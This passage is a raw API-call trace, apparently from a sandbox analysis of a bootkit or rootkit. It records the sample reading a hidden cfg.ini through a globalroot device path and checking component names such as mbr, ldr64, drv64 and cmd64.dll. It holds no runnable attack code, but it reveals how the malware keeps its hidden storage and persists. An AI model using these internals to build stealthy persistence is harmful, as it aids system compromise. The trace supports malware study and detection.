FastMutex=0xfffffa80027d3898) [0123.752] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.753] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.753] KeLeaveCriticalRegion () [0123.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.753] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.753] KeEnterCriticalRegion () [0123.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.753] ExFreePoolWithTag (P=0xfffffa8003bec4c0, Tag=0x0) [0123.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.753] KeLeaveCriticalRegion () [0123.753] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.753] ReleaseMutex (hMutex=0xf0) returned 1 [0123.753] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.756] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.756] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.756] KeEnterCriticalRegion () [0123.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.756] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.756] IdePortDispatch () returned 0x103 [0123.756] KeWaitForMutexObject () returned 0x0 [0123.756] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.756] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.756] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.756] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.756] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.756] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beccf0 [0123.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.756] KeLeaveCriticalRegion () [0123.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.756] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.756] KeEnterCriticalRegion () [0123.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.756] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.757] KeLeaveCriticalRegion () [0123.757] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.757] KeEnterCriticalRegion () [0123.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.757] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.757] IdePortDispatch () returned 0x103 [0123.757] KeWaitForMutexObject () returned 0x0 [0123.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.757] KeLeaveCriticalRegion () [0123.757] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.757] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.757] KeEnterCriticalRegion () [0123.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003576000 [0123.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.757] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.757] IdePortDispatch () returned 0x103 [0123.757] KeWaitForMutexObject () returned 0x0 [0123.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.757] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.757] IdePortDispatch () returned 0x103 [0123.758] KeWaitForMutexObject () returned 0x0 [0123.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.758] KeLeaveCriticalRegion () [0123.758] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.758] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.758] KeEnterCriticalRegion () [0123.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.758] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.758] KeLeaveCriticalRegion () [0123.758] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.758] KeEnterCriticalRegion () [0123.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.758] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.758] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.758] KeLeaveCriticalRegion () [0123.758] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.758] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.759] KeEnterCriticalRegion () [0123.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] ExFreePoolWithTag (P=0xfffffa8003beccf0, Tag=0x0) [0123.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] KeLeaveCriticalRegion () [0123.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.759] ReleaseMutex (hMutex=0xf0) returned 1 [0123.759] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.759] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.759] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.759] KeEnterCriticalRegion () [0123.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.759] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.759] IdePortDispatch () returned 0x103 [0123.759] KeWaitForMutexObject () returned 0x0 [0123.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.759] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.759] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.759] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.759] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.759] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedeb0 [0123.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] KeLeaveCriticalRegion () [0123.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.759] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.759] KeEnterCriticalRegion () [0123.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] KeLeaveCriticalRegion () [0123.759] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.759] KeEnterCriticalRegion () [0123.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.760] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.760] IdePortDispatch () returned 0x103 [0123.760] KeWaitForMutexObject () returned 0x0 [0123.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.760] KeLeaveCriticalRegion () [0123.760] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.760] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.760] KeEnterCriticalRegion () [0123.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.760] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003577000 [0123.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.760] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.760] IdePortDispatch () returned 0x103 [0123.760] KeWaitForMutexObject () returned 0x0 [0123.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.760] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.760] IdePortDispatch () returned 0x103 [0123.760] KeWaitForMutexObject () returned 0x0 [0123.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] KeLeaveCriticalRegion () [0123.761] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.761] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.761] KeEnterCriticalRegion () [0123.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] KeLeaveCriticalRegion () [0123.761] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.761] KeEnterCriticalRegion () [0123.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.761] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] KeLeaveCriticalRegion () [0123.761] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.761] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.761] KeEnterCriticalRegion () [0123.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.761] KeLeaveCriticalRegion () [0123.761] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.761] ReleaseMutex (hMutex=0xf0) returned 1 [0123.761] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.762] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.762] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.762] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.762] KeEnterCriticalRegion () [0123.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.762] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.762] IdePortDispatch () returned 0x103 [0123.762] KeWaitForMutexObject () returned 0x0 [0123.762] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.762] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.762] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.762] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.762] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.762] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.762] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.762] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.762] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.762] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.762] KeLeaveCriticalRegion () [0123.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.762] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.762] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.763] KeEnterCriticalRegion () [0123.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.763] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.763] IdePortDispatch () returned 0x103 [0123.763] KeWaitForMutexObject () returned 0x0 [0123.763] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.763] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.763] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.763] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.763] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.763] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.763] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.763] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.763] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.763] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.763] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.763] KeLeaveCriticalRegion () [0123.763] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.763] ReleaseMutex (hMutex=0x100) returned 1 [0123.763] Sleep (dwMilliseconds=0x2bf20) [0123.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cf7f510, dwHighDateTime=0x1d24fa4)) [0123.766] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.776] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.776] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.776] KeEnterCriticalRegion () [0123.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.776] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.776] IdePortDispatch () returned 0x103 [0123.776] KeWaitForMutexObject () returned 0x0 [0123.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.776] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.776] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.776] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.776] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.777] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed340 [0123.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.777] KeLeaveCriticalRegion () [0123.777] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.777] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.777] KeEnterCriticalRegion () [0123.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.777] KeLeaveCriticalRegion () [0123.777] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.777] KeEnterCriticalRegion () [0123.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.777] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.777] IdePortDispatch () returned 0x103 [0123.777] KeWaitForMutexObject () returned 0x0 [0123.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.777] ExReleaseFastMutexUnsafe (in: 